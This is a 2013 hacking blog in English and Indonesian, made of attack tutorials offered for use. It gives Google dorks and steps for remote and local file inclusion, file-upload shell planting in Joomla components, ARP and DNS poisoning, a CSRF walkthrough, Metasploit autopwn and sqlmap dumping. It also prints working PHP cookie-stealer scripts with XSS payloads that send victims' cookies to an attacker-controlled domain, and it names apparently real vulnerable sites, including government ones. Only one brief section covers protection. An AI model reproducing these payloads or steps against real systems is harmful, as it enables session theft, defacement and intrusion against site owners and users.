Showing posts with label Tutorial. Show all posts
Showing posts with label Tutorial. Show all posts

Saturday, 31 August 2013

Remote File Inclusion

RFI tutorial is very easyOld Method But Useful

Just use php code inside txt code in website

http://www.april.co.id/x.txt <-- like this link

Entering File Inclusion dork

Dork Example :-

inurl:.php?pg=(*)php
inurl.php?text=(*)php
inurl:.php?(*)=news.php
inurl:.php?(*)=contact.htm
inurl:.php?(*)=contato.html

copy and paste at google search
find some website and replace the link infront of " = "

example:-

www.site.com/index.php?pagina=http://www.april.co.id/x.txt

Then upload the shell

path shell :-

www.site.com/youruploadedshell.php

Webvuln RFI :- http://www.electricity.gov.gy/policies.php?id=energy2.txt

http://www.electricity.gov.gy/policies.php?id=http://www.april.co.id/x.txt

Happy Hacking! From Eagle Eye

Friday, 19 April 2013

ARP Poisoning ( Indo Lang ) CopyPaste


"ARP Attack"


ARP (Address Resolution Protocol) adalah network protocol yang  berfungsi untuk memetakan network layer protocol address dengan data  link layer hardware Address .
Misal'a, ARP digunakan untuk  mengelompokkan IP address dengan MAC address yang sesuai dalam satu  Local Are Network... Teknik Hacking ARP Attack Kali ini dengan  memamfaatkan penggandaan MAC address...

1. Langkah Pertama, kita harus mengetahui MAC address komputer target, dengan menggetikkan pada cmd: arp-a

2. Masuklah ke dalam kotak dialog properties koneksi anda baik LAN maupun Wifi pada windows XP cara'a :
Start > Setting > Control Panel > Network and Dial-up Connections > Klik kanan Local Area Netwok > Properties...

Untuk Windows Vista atau Windows 7 adalah :
Start > Network and Sharing Center > Change Adapter Setting > Klik Kanan Local Area Connection > Properties...

3. Dari kotak dialog properties, klik tombol CONFIGURE . Kemudia Klik  Tab ADVANCE. Pada pilihan property, klik NETWORK ADDRESS Dan masukkanlah  MAC Address target yang telah Loe Peroleh Sebelum'a.. Kemudian Klik  OK..

4. Setelah Selesai, kini check kembali MAC address anda. MAC Address'a pasti berubah!..

5. Selanjut'a , Kirim paket data secara continue ke komputer target. Loe bisa menggunakan perintah
Ping : ping ip-address -t.
Contoh : ping 192.168.0.199 -t

6. Hal ini menyebabkan komputer menjadi sibuk dengan mengupdate ARP  cache yang Sama dengan Ethernet local'a sehingga tidak bisa melayani ARP  request dari komputer lain...

7. Kini, Coba check lagi ARP (  Cara nomer 1) , yang muncul pasti pesan INVALID yang menandakan Aksi  kita telah berhasil (pada bagian type )

Silahkan Mencoba
Salam Hacker Indonesia ~
HHCN ( High Hacker Controled Network )

Free Asp


inurl:/uploadtester.asp

upload the asp shell or in txt form or aspx
if can't upload the shell in asp or aspx form
rename the shell into shell.asp;jpg

then open the shell
/uploads/shell.asp
/upload/
/uploaded/
/uploadeds/

sometimes the site is different
it have given the file place
just click your uploaded file
and taraa , the shell was showed!

enjoy your hacking
by -Eagle Eye-

Joomla Component -> com_remository -> Arbitrary File Upload Vulnerability
<< Joomla Component -> com_remository -> Arbitrary File Upload Vulnerability

<< Author : Z190T

<< Contact : mahruz[dot]id[at]gmail[dot]com

<< Homepage : http://mahruz-id.com/

<< Vendor : http://remository.com/downloads/

<< d0rk :

- inurl:"func=addfile" <– Organisation, School, Academic and Government of Indonesian Site

- inurl:"/func,addfile/" <– Organisation, School, Academic and Government of Indonesian Site

- inurl:"index.php?option=com_remository" <– free!!

<< File Allowed : Any File Extension

<< Try 0n : any OS


<< readme.

Sebelumnya,, saya hanya ingin memberi tau satu hal penting about pentingnya berhati2 memilih plugin atau componen web baik itu pada Joomla, WordPress, Drupal atau yang lainnya. ndak penting preview website yang kita bangun itu bagus, preview bagus ndak menjamin keamanan suatu website, yang terpenting adalah bagaimana website yang kita miliki terlihat simple dengan dukungan sistem keamanan di atas rata-rata.



Saya akan memberi tahu satu dari sekian banyak kelemahan component pada Joomla, yaitu Repository. Repository yang dimaksud di sini adalah acuan bahan atau file download yang disediakan secara terbuka untuk user, admin dan bahkan untuk semua pengunjung.



Remository adalah nama perubahan untuk Repository yang ada pada Joomla, entahlah,,, saya juga ndak mengerti, kenapa harus pkek nama Remository??

bodo amat!!.

udah ah,, kelamaan baca tulisan saya yang salbut!! langsung saja…



<< Untuk d0rk [inurl:"func=addfile"] dan [inurl:"index.php?option=com_remository"]

Contoh :

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=15

“You have no permitted upload categories – please refer to the webmaster”

Disana kita bisa melihat, kita tidak mempunyai izin untuk upload data dengan identitas 15 pada bagian 46, hanya Admin yang di perbolehkan untuk upload data ke area tersebut, lantas,,, bagaimana caranya supaya kita bisa upload data ke area tersebut? Ooo,,,, tidak bissaa…!! ß hanya orang bodoh yang mengatakan hal itu!. kita manipulasikan data yang akan kita masukkan!!, Let’s do it!!

Pada bagian ItemId ndak usah dirubah, yang kita rubah hanya id nya saja. inject-inject dikit supaya table uploadnya keluar!! ^_^

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=1

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=2

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=3

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=4

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=5

dan seterusnya.. sampai keluar croot-nya!! heheheheee….

Kalo bosen nginject, langsung patokin saja di angka tertinggi,, misalnya,,

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=99

tpi,, klo misalnya kita dapat di..

http://localhost/index.php?option=com_remository&Itemid=46&func=addfile&id=8

langsung dah upload!!, jangan lupa,, isi formnya,, supaya mudah mencari directory hasil uploadnya.

All Done!

Please Note: All Uploads will be reviewed prior to Publishing.

Yes!! kita berhasil!!

Pada bagian pencarian hasil upload ini yang menurut saya agak sulit soalnya file yang udah kita upload udah melalui converter pada bagian ../remositoryAdminDbonvert.php

isinya seperti ini..

<?php

class remositoryAdminDbconvert extends remositoryAdminControllers {

    function remositoryAdminDbconvert ($admin) {
        remositoryAdminControllers::remositoryAdminControllers ($admin);
        $_REQUEST['act'] = 'dbconvert';
    }
   
    function listTask () {
        $view =& new remositoryAdminHTML ($this, 0, '');
        $view->formStart(_DOWN_ADMIN_ACT_DBCONVERT);
        $interface =& remositoryInterface::getInstance();
        $database =& $interface->getDB();
        foreach (array('containers','files','reviews','structure','log','temp') as $tablename) {
            $sql = "TRUNCATE TABLE #__downloads_$tablename";
            remositoryRepository::doSQL($sql);
        }
        $sql = "ALTER TABLE #__downloads_containers AUTO_INCREMENT=2";
        remositoryRepository::doSQL($sql);
        $containermap = array('catid'=>array(),'folderid'=>array());
        $sql = "SELECT * FROM #__downloads_category";
        $database->setQuery($sql);
        $rows = $database->loadObjectList();
        if (!$rows) $rows = array();
        foreach ($rows as $row) {
            if ($row->registered) $row->registered = '0';
            else $row->registered = '2';
            foreach ($row as $field=>$value) {
                if (!is_numeric($row->$field)) $row->$field = $database->getEscaped($row->$field);
            }
            $sql = "INSERT INTO #__downloads_containers (parentid,name,published,description,filecount,icon,registered) VALUES (0,'$row->name',$row->published,'$row->description',$row->files,'$row->icon',$row->registered)";
            $database->setQuery($sql);
            if (!$database->query()) {
                echo "<script> alert('".$database->getErrorMsg()."'); window.history.go(-1); </script>\n";
                exit();
            }
            $newid = $database->insertid();
            $containermap['catid'][$row->id] = $newid;
            $sql = "SELECT * FROM #__downloads_folders WHERE catid=$row->id";
            $database->setQuery($sql);
            $folders = $database->loadObjectList();
            if ($folders) {
                foreach ($folders as $folder) $this->convertfolder ($folder, $newid, $containermap);
            }
        }
        $sql = "SELECT * FROM #__downloads";
        $database->setQuery($sql);
        $files = $database->loadObjectList();
        if (!$files) $files = array();
        foreach ($files as $file) {
            $testurl = strtolower(trim($file->url));
            $findsite = strpos($testurl, strtolower(trim($interface->getCfg('live_site'))));
            if ($findsite===false){
                $islocal = '0';
                $realname = '';
                $filedate = date('Y-m-d');
                $url = $file->url;
                if (eregi(_REMOSITORY_REGEXP_URL,$url) OR eregi(_REMOSITORY_REGEXP_IP,$url)) $filefound = true;
                else $filefound = false;
            }
            else {
                $islocal = '1';
                $url_array=explode('/',$file->url);
                $url = '';
                $realname = $url_array[(count($url_array)-1)];
                $filepath = $this->repository->Down_Path.'/'.$realname;
                if (file_exists($filepath)) {
                    $filefound = true;
                    $filedate = date('Y-m-d', filemtime($this->repository->Down_Path.'/'.$realname));
                }
                else $filefound = false;
            }
            $containerid = 0;
            if ($file->catid != 0) {
                if (isset($containermap['catid'][$file->catid])) $containerid = $containermap['catid'][$file->catid];
                else echo '<tr><td>'.$file->id.'/'.$realname.'/'.$file->catid.'</td></tr>';
            }
            if ($file->folderid != 0) {
                if (isset($containermap['folderid'][$file->folderid])) $containerid = $containermap['folderid'][$file->folderid];
                else echo '<tr><td>'.$file->id.'/'.$realname.'/'.$file->folderid.'</td></tr>';
            }
            if ($filefound AND $containerid != 0) {
                foreach (get_class_vars(get_class($file)) as $field=>$value) if (is_string($file->$field)) $file->$field = $database->getEscaped($file->$field);
                $sql="INSERT INTO #__downloads_files (realname,islocal,containerid,published,url,description,smalldesc,autoshort,license,licenseagree,filetitle,filesize,filetype,downloads,icon,fileversion,fileauthor,filedate,filehomepage,screenurl,submittedby,submitdate) VALUES ('$realname',$islocal,$containerid,$file->published,'$url','$file->description','$file->smalldesc',$file->autoshort,'$file->license',$file->licenseagree,'$file->filename','$file->filesize','$file->filetype','$file->downloads','$file->icon','$file->fileversion','$file->fileauthor','$filedate','$file->filehomepage','$file->screenurl', $file->submittedby,'$file->submitdate')";
                $database->setQuery($sql);
                if (!$database->query()) {
                    echo "<script> alert('".$database->getErrorMsg()."'); window.history.go(-1); </script>\n";
                    exit();
                }
                $newid = $database->insertid();
                $sql = "SELECT * FROM #__downloads_comments WHERE id=$file->id";
                $database->setQuery($sql);
                $comments = $database->loadObjectList();
                if ($comments) {
                    foreach ($comments as $comment) {
                        $sql = "INSERT INTO #__downloads_reviews (component,itemid,userid,title,comment,date) VALUES ('com_remository',$newid,'$comment->userid','Review Title','$comment->comment','$comment->time')";
                        $database->setQuery($sql);
                        remositoryRepository::doSQL($sql);
                    }
                }
            }
            else echo '<tr><td>'.$file->url.'</td></tr>';
        }
        $this->repository->resetCounts(array());
        echo '<tr><td class="message">'._DOWN_DB_CONVERT_OK.'</td></tr>';
        echo '</table></form>';
    }
   
    function convertfolder ($folder, $parent, &$containermap) {
        $interface =& remositoryInterface::getInstance();
        $database =& $interface->getDB();
        foreach ($folder as $field=>$value) {
            if (!is_numeric($folder->$field)) $folder->$field = $database->getEscaped($folder->$field);
        }
        if ($folder->registered) $folder->registered = '0';
        else $folder->registered = '2';
        $sql = "INSERT INTO #__downloads_containers (parentid,name,published,description,filecount,icon,registered) VALUES ($parent, '$folder->name', $folder->published, '$folder->description', '$folder->files', '$folder->icon', $folder->registered)";
        $database->setQuery($sql);
        if (!$database->query()) {
            echo "<script> alert('".$database->getErrorMsg()."'); window.history.go(-1); </script>\n";
            exit();
        }
        $newid = $database->insertid();
        $containermap['folderid'][$folder->id] = $newid;
        $sql = "SELECT * FROM #__downloads_folders WHERE parentid=$folder->id";
        $database->setQuery($sql);
        $children = $database->loadObjectList();
        if ($children) {
            foreach ($children as $child) convertfolder ($child, $newid, $containermap);
        }
    }

}

?>
Silahkan kamu deskripsikan sendiri!! ^_^ heheheee….

<< Untuk d0rk [inurl:"/func,addfile/"]

Contoh :

http://localhost/index.php/downloads/func-addfile/

cara inject-nya ndak jauh beda,, hanya menambahkan /id/(angka). misalnya..

http://localhost/index.php/downloads/func-addfile/id/99

Baiklah Mumpung Gw Lagi Baik Hati Malam Ini Itu Pun Bukan Karena Apa".. Tetapi, Karena Adek Gw Yang Sakit Baru Sembuh :)

Malam Ini Gw Bakal Bagiin Ke Loe Semua Hack Tingkat Tinggi Yang Mungkin Belum Loe Denger ... Yaitu "DNS Poisoning"...

Ok!, Langsung Saja Tanpa Banyak COCOD !!...
Mari Kita Mulai BELAJAR !!...

DNS Poisoning adalah sebuah aksi hacking untuk menembus pertahanan dengan Cara menyampaikan informasi IP address yang salah mengenai sebuah Host, Dengan Tujuan Untuk Mengalihkan Lalu Lintas Paket data dari tujuan yang sebenar'a...

Boleh Dibilang, Cara kerja DNS Poisoning ini adalah dengan mengacaukan atau mengalihkan DNS server asli agar pengguna internet terkelabui untuk mengakses website palsu yang biasa'a dikombinasikan dengan "Pishing"...

Sebelum memulai aksi, Gw ingin loe semua tau Cara mengetahui IP domain yg ada dalam cache komputer kita.. Dengan Cara :
Ipconfig/displaydns

Baiklah Kita Mulai !!...
1. Jalankan Program "Cain&Able" Dan klik pada tab SNIFFER. Kondisi'a masih kosong bukan?... Jika dalam komputer loe sudah ada bekas (cache) dari IP sebelum'a, pekerjaan loe bisa lebih cepat...

2. Klik menu CONFIGURE Dan pilih adapter yg loe gunakan sekarang...

3. Jalankan Aksi SNIFFER dengan mengklik ikon "Activate/Deactivate the sniffer"...

4. Pada area kosong, klik kanan Dan klik "Scan MAC address"...

5. Dalam kotak dialog MAC address Scanner, Loe bisa memasukkan range IP yang akan Loe periksa MAC address'a , lalu klik OK ...

6. Nanti akan muncul beberapa target yang akan loe Hack !
Contoh : IP address : 192.168.0.1
MAC address : D0154AB328BC

7. Klik tab APR yang ada di bagian bawah.

8. Selanjut'a tombol + pada bagian atas akan aktif, klik ikon tanda + tersebut..

9. Dari kotak dialog New ARP Poison Routing yang muncul, pada panel sebelah kiri, klik IP gateway. Dan di sebelah kanan'a klik pada IP target Loe...

10. Kembali pada tampilan utama, pada panel sebelah kiri klik pada APR-DNS ... Ikon + akan kembali aktif Dan kita siap beraksi kali ini...

11. Masukkan Nama Website yg akan loe ganti, misalkan www.Facebook.com
Pada kasus ini, Gw ngeganti halaman Facebook menjadi Halaman Yahoo!!... Jadi inti'a si korban sewaktu ingin membuka Facebook yg muncul adalah halaman depan yahoo!...

12. Etth!!, Slow Boy !!... Masih dalam  kotak dialog DNS Spoofer for APR, klik tombol Resolve Dan masukkan nama  website palsu.. Nah di sini Gw masukkin www.yahoo.com
Perlu Loe Tau! ... Pada Halaman inilah seseorang memasukkan halaman Pishing untuk mencuri pass orang lain.
Setelah Clear klik OK!..

13. Sekarang IP address yg semula 0.0.0.0 Jadi terisi dengan IP'a yahoo.. Klik OK aja...

14. Pada Tabel Requested DNS name akan muncul website Facebook...

15. Klik ikon Activate Poison Routing

16. Lihat Dan Check sendiri Hasil Kerjaan Loe.. Coba Buka Halaman Facebook.. Pasti yg keluar halaman Yahoo.. Hahahah!!!...

Thingie (File Upload Vulnerability)


Dork-
inurl:ft2.php intext:upload

Preview:
- You can see if you success upload your file, finding your file, than ?
What happen ? hehe sippp :D

Live Target:
- http://media.gamedaypr.com/ft2.php
- http://www.scape-wow.net/scripts/upload/ft2.php
- http://www.volarisvirtual.org/ft2.php
- http://www.house2let.net/ft2.php

Title : TinyFileBrowser  ~ Remote file Upload Vulnerability
Google Dork : "inurl:tinybrowser/upload.php"


Lets Start : Open google.com/ncr or you country dOmain like Google.co.in and enter This dork
"inurl:tinybrowser/upload.php"


 Vulnerable
website's title will TinyBrowser :: Upload in search results
and in sOme sites it will show you website directory in title :)
click on Vulnerable website only ... igNore sOme extra results


For uploading Your files click on upload ... and click on browse to view Your Uploaded File :)
you can upload [.html],[.txt],[.jpg],[.gif],[.bmp] [.php not allowed] but atleast you can try as
php.jpg :P ... but in sOme websites you can upload images and txt file Only .. but
dont worry ... u can notify your deface as image or text file :D

Friday, 22 March 2013

CSRF ( Cross Site Request Forgery )

Under Construction ...
 Download http://d.bumk.net/download/204/CSRF.html.html

JCE ( Joomla Extension Remote File Upload )


^_^ hi ..

Today is how to hack and upload shell in Joomla via JCE ( 0day exploit )

From the picture above is the site for uploading shell via JCE

What do you need is : http://d.bumk.net/download/198/a.php.html
                                  http://d.bumk.net/download/199/sm.php.html

download both of the php

1. upload sm.php to your own domain or set up to your localhost
2. enter the dork : inurl:index.php?option=com_jce
3.Choose site and put it like  www.site.com  from the above
do no put http://  and  / at the url
4.at the path (ex: /joomla/ or just / ): put the site path

for example : www.site.com/joomla/index.php?option.....

at the path will be /joomla/

if nothing the path will just  /  only

Or

find through the administrator

5.Choose File : a.php that you has already download
6.Click START

Target is exploitable.
                               
Exploit Succeeded...
http://www.highsnabfarm.co.uk:80//images/stories/0day.php

this for example
go to the shell then u will get it

LFI ( User Agent Method )

Hello , fuuhhh~ How a long time I not Updating my Blogspot xD
Hahaha ...

Ok, today im going to teach you about LFI ( Local File Inclusion ) with User Agent In
GOOGLE CHROME

.::Here is the step::.
1.Download user agent for chrome
2.Copy the code from URL :

http://pastebin.com/DbubYs04

3.After copy click to the user agent switcher then will out many of things such as

-Chrome
-Firefox
-Opera
and so on

4.Click Settings
5. -New User Agent Name : LFI
    -New User Agent String : Paste the LFI Php Code here
    -Group : LFI
    -Indicator Flag : LFI

6.Enter the dork

allinurl:?page=contact.php
allinurl:?pg=contato.php
allinurl?p=contactform.php
allinurl:?file=gallery.php
allinurl:?id=contact.php
allinurl:?page=gallery.html

that is a few of dorks , there are many of dork for LFI

7.For example you has get the site

www.localhost.com/index.php?p=contactform.php

put the this string and replace the thing after ' = '  : 
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
the site will be like this

www.localhost.com/index.php?p=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron  
8.And how to determine the vulnerablities?

--> after put the string the site will show like

DOCUMENT_ROOT=/bin/root/file/etc_ and so on

but the most important is the page show

HTTP_USER_AGENT:

This situation will let your user agent replace the Php code

9.Open your User Agent Switcher and click LFI
10.The upload file will shown and you may choose php shell to upload

11.To find the shell is easy

www.site.com/index.php?p=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
will be www.site.com/your_shell.php

if its in another directory

www.site.com/lol/index.php?p=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
 
will be www.site.com/lol/your_shell.php

THE END from me


EAGLE EYE







Tuesday, 22 January 2013

Joomla Remote Shell Upload Vulnerablities


Google Dork : inurl:index.php?option=com_fabrik or index.php?option=com_fabrik
Date : 14/09/2012
Exploit Author : D35m0nd142
Vendor Homepage : http://fabrikar.com/
Tested on : Mozilla Firefox on Ubuntu 12.04


Vulnerable path :
Code:

index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

--
In this webpage there is the possibility of upload any type of files (php,asp,html,jpg .. ) through the form "Import CSV".
--
Screenshot of the uploading page --> http://imageshack.us/photo/my-images/269/comfabrik.png/
--
After uploaded shell go to --> http://[target]/media/yourshell.php

(CSRF) Cross Site Request Forgery



Post: #1(CSRF) Cross Site Request Forgery



Code:
The content of this article is meant for educational purposes only. Neither I, nor my web host will be held responsible for what you decide to do with this knowledge.

_______________________________________________________________________________


CSRF attacks are used for a variety of reasons by attackers. The most common being:
Logging out a user
Transferring money
Changing a password
Modifying information
All of the above are performed from the victims own account.

A CSRF attack is fairly simple to do yet can also be fairly difficult to detect the attack. The reason for it being difficult is that the actions are all seemingly performed by a legitimate user.

There are a few ways that an attacker may perform a CSRF attack but in this post we are going to cover the 2 most popular ways:

_______________________________________________________________________________

Code:
XSS
IMG Injection

_______________________________________________________________________________

XSS
For the XSS method to work, we need to inject Javascript in to the target site and execute a query as the victim user. One example in which this could be used would be to promote a user to admin status.

If the admin page uses $_GET() or $_REQUEST() as it's input, the following would work:

_______________________________________________________________________________

Code:
<iframe src='javascript:window.location="http://www.vulnsite.com/admin.php?edituser=v3nd3tta&addgroup=administrator";' height='0' width='0' style='border:0;' />

_______________________________________________________________________________

The height, width and style arguments will hide the iframe, so the administrator doesn't suspect anything when the page magically redirects to the admin.php page.

If the admin page uses $_POST() as it's input, the following would work.

1 - Create a web-page hosted somewhere online and use code similar to the following, change the form inputs as necessary:

_______________________________________________________________________________

Code:
<html>
<body>
<form action="" method="post" id="formid">
    <input type="hidden" name="attack" value="valuegoeshere" />
</form>
<script>document.getElementById('formid').submit();</script>
</body>
</html>

_______________________________________________________________________________

2. You need to embed the page with an iframe on the XSS vuln page like follows:

_______________________________________________________________________________

Code:
<iframe src='http://www.evilsite.com/csrfrider.php' height='0' width='0' style='border:0;' />

_______________________________________________________________________________


This will cause the form to automatically post to the administration page if an administrator loads it. As it's hiding in the iframe, it requires little to no social engineering to get the administrator to load the page.

IMG Injection
This is another popular method of hiding a CSRF attack with the use of "img" tags. This is an extremely popular method when it comes to bulletin board systems. The reason being that img tags often provide little to no checking.

Embedding the CSRF attack within [img] tags will in turn, look like the following within the HTML source:

_______________________________________________________________________________

Code:
<img src='http://www.example.com/admin.php?edituser=v3nd3tta&addgroup=administrator' />

_______________________________________________________________________________

When the admin accesses the page, the attack will take place while he has no idea it has taken place.

Protection
While using the POST method for all forms will help to safeguard against CSRF attacks, it is not at all bulletproof. The recommended way to protect against CSRF attacks is to use unique tokens on forms. A token is used within a hidden element in a form to prove that the request is not being forged. Each token is unique to the user, and is stored in the user's session. To set up tokens, use the following code:

_______________________________________________________________________________

Code:
session_start();
if( !isset( $_SESSION['token'] ) )
{
    $token = md5( rand() );
    $token = str_split( $token, 10 );
    $_SESSION['token'] = $token[0];
}

_______________________________________________________________________________

The above will create the token and store it in the user's session. A hidden value will have to be located in the form input as follows:

_______________________________________________________________________________

Code:
<input type='hidden' name='token' value='<?=$_SESSION['token']?>' />

_______________________________________________________________________________

The third part of the token check is to add the validation as follows:

_______________________________________________________________________________

Code:
if( $_POST['token'] == $_SESSION['token'] )
{
    /* Token is valid, continue */
}
_______________________________________________________________________________

Stealing Cookies With XSS



Post: #1Stealing Cookies with XSS
Code:
The content of this article is meant for educational purposes only. Neither I, nor my web host will be held responsible for what you decide to do with this knowledge.



Creating a Cookie Stealer
Method 1
This is the simplest method of creating a cookie stealer which will steal and save the cookie in a file called cookie.txt

________________________________________________________________________________

Code:
<!--?php
    $cookie = $HTTP_GET_VARS["cookie"];
    $steal = fopen("cookie.txt", "a");
    fwrite($steal, $cookie ."\n");
    fclose($steal);
?-->

________________________________________________________________________________

Method 2
The above method sent the cookies to a file. This method sends the cookie to an email address.

________________________________________________________________________________

Code:
<!--?php
    $cookie = $HTTP_GET_VARS["cookie"]; mail("inputyour@emailhere", "Stolen Cookies", $cookie);
?-->
In the above code you just need to add in your email address.


________________________________________________________________________________


Method 3
The following script is more evolved and will be the one we will use.



________________________________________________________________________________

Code:
<!--?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}

function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/bhtmb/i", $ipLog) || preg_match("/bhtmlb/i", $ipLog))
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br-->");
    else
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie nn");
    fclose($log);
}

logData();
echo '<center><p>Page Under Construction</p></center>'
// this part is displayed if the page is visited directly, in order to avoid any suspicion...
?>-->

________________________________________________________________________________


The above code not only steals the cookies but will also store the following:
IP address
Port number
Host
User-Agent


Copy and paste the above code in to a text editor and save as a .php file. Create a second file and save it as log.txt. We can leave this file blank as this is where the above information will be sent. You can change the name but if you do so, then you will need to change the name in the cookie stealer code above.


Register a Domain Name
The next step is to sign up with a free hosting company that supports .php files and upload both files created above in to the root directory. If you named the stealer file "zerosec" then it would be located at:
Code:
www.your-domain.com/zerosec.php


Exploiting the Vulnerability
We are not going to cover how to find XSS vulnerable websites here. This tutorial is assuming you already know. If not, let me know in the comments below.


Once you have found a vulnerable website you need to inject the following code between "script" tags.
Code:
(script tag) location.href = 'your-domain.com/zerosec.php?cookie='+document.cookie; (/script tag)


The above URL can be inserted straight in to a vulnerable URL like this:

________________________________________________________________________________

Code:
vulnerablesite.com/index.php?search=(script tag) location.href = 'http://www.your-free-domain.com/stealer.php?cookie='+document.cookie;(/script tag)


________________________________________________________________________________

In the above code, remember to input the script tags.


Difference between Persistent and Non-Persistent XSS
Injecting the code in to a website that is vulnerable to persistent XSS means that the code will remain there forever or until the admin finds and removes it. Everyone that visits the site would be a victim.


In non-persistent XSS attacks, the only victims will be the ones that you actually send the link to. Unlike the persistent attack in which you would only need to inject once. More websites are vulnerable to non-persistent than they are to persistent but there are still plenty out there.


One way in which an attacker will try to trick victims in to clicking their links is to encode the URL. The problem with this is that the URL then becomes pretty long. The simple solution is to use an URL shortening service.


The victim will then be sent the short URL and their cookies will be sent to the log.txt file created and uploaded earlier.

Cookielogger Tutorial


Register here: http://www.000webhost.com/
Upload these files:
First make a steal.php
Code:



<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
header( 'Location: http://www.google.com' ) ;
?>


Replace "www.google.com" with something funny.That's redirect link.
Then make a blank text document: "log.txt"
Then make a new html: "whatever.html"
add this code to html:
Code:


<html>
<body>
<script>
document.location = 'http://yourwebsite.com/steal.php?cookie=' + document.cookie;
</script>
</body>
</html>
Copy the link: http://www.yourwebsite.com/index.html and send to victim when victim click steal.php steal the cookies and save it in log.txt
Try on yourself first.It's work for me.


U can use this for forum:
Code:


<a href="javascript:void(document.location='http://yourwebsite.com/steal.php?cookie='+
document.cookie)">Click Me</a>


Post on thread when victim click, steal.php steal the cookies.Then use a cookie editor to replace the cookies and login.

Saturday, 19 January 2013

Hack your victim PC via IP address


Hello everybody! I am here to show you this magical tool called Metasploit that allows you to hack ANY unpatched computer with only it's IP. Lets begin...

1.) First you need to download Metasploit. The most up-to-date version is FREE at metasploit.com.

2.) You need PostgrSQL for your database.
Download : Here
Make sure you use all the defaults or Metasploit woun't work!

3.) Now lets get down to buisness... After installing both tools, open up the PostgrSQL admin gui (start -> all programs -> PostgreSQL 9.0 -> pgAdmin III). Then right-click on your server (in the left hand box) and click connect. Remember to keep this window open the whole time. You will also need the pass you chose to use in step 5...

4.) Time for some hacking! Go to start -> all programs -> Metasploit Framework, and then open the Metasploit gui. Let it load untill it look like this:

5.)Now, in the window type:

db_connect postgres:ThePassYouChose@localhost:5432

The first time you do this you will see lots of text flash buy. Don't wory, this is normal.

6.) Type db_host to make sure you are connected correctally.

7.) Now type this:

db_nmap 000.000.000.000

Make sure you put the ip of the computer you are trying to hack in the place of 000.000.000.000...

7.) Now we get to the fun part; the automatic exploitation. Just type db_autopwn -t -p -e -s -b , watch the auto-exploitation start, go play Halo for a while, and then come back...

8.) After the exploitation is done, type sessions -l to see what the scanner found. If all went well, you should see a list of exploits.

9.) Now we get to use the exploits to hack the computer! If you will notice, all of the exploits are numbered, and they all have obvious names (i. e., reverse Screen_tcp). In order to use an exploit, type this:

sessions -i Exploit Number

__________________________________________________ _________

Friday, 18 January 2013

Sqlmap Tutorial For Window 7


Hello Im Eagle Eye

Today im gonna teach you about sqlmap on windows 7

-----------------------------------------------------------------------------------------------------------

What do you need?
[python download for windows]
[Sqlmap windows]
First.. After you download and install python you must download Sqlmap for windows
After download it .. [Sqlmap Windows]
extract the file in Drive C

-----------------------------------------------------------------------------------------------------------

After that open your Command Promp (CMD)
Type   cd\
And then press ENTER
Type cd sqlmap\
And Enter

Copy your victim link
And type to cmd like this

sqlmap.py -u http://yoursite.com/index.php?id=123 --dbs

Replace http://yoursite.com/index.php?id=123 to your link target
Enter!

-----------------------------------------------------------------------------------------------------------

The injected site will show the Database
My testing site http://ditto3d.com/gallery.php?id=7
Example Database Shown Is : ditto3d
                                              information_schema

If you want choose any database
you must do like shown above
sqlmap.py -u http://yoursite.com/index.php?id=123=7 -D databasename

-----------------------------------------------------------------------------------------------------------

-D (for Database)
databasename for example i put 'ditto3d' for get the table
So my site will like this

sqlmap.py -u http://ditto3d.com/gallery.php?id=7 -D ditto3d --tables

For your site
--> sqlmap.py -u http://yoursite.com/index.php?id=123 -D your database --tables
Press Enter!

you will get a lot of tables
such as

[ users ]
[ category ]
[ links ]

from the tables , choose one of your target to get Username and Password

then your code in cmd will be like this

sqlmap.py -u http://www.yoursite.com/index.php?id=123 -D database -T your target tables

My code in cmd will shown like
sqlmap.py -u http://ditto3d.com/gallery.php?id=7 -D ditto3d -T users

-----------------------------------------------------------------------------------------------------------

Alright , we go to the next
what you must do is to get column
just add --columns after your code
it will be show like this

sqlmap.py -u http://www.yoursite.com/index.php?id=123 -D database T- your target tables --columns

Example :
sqlmap.py -u http://ditto3d.com/gallery.php?id=7 -D ditto3d T- users --columns

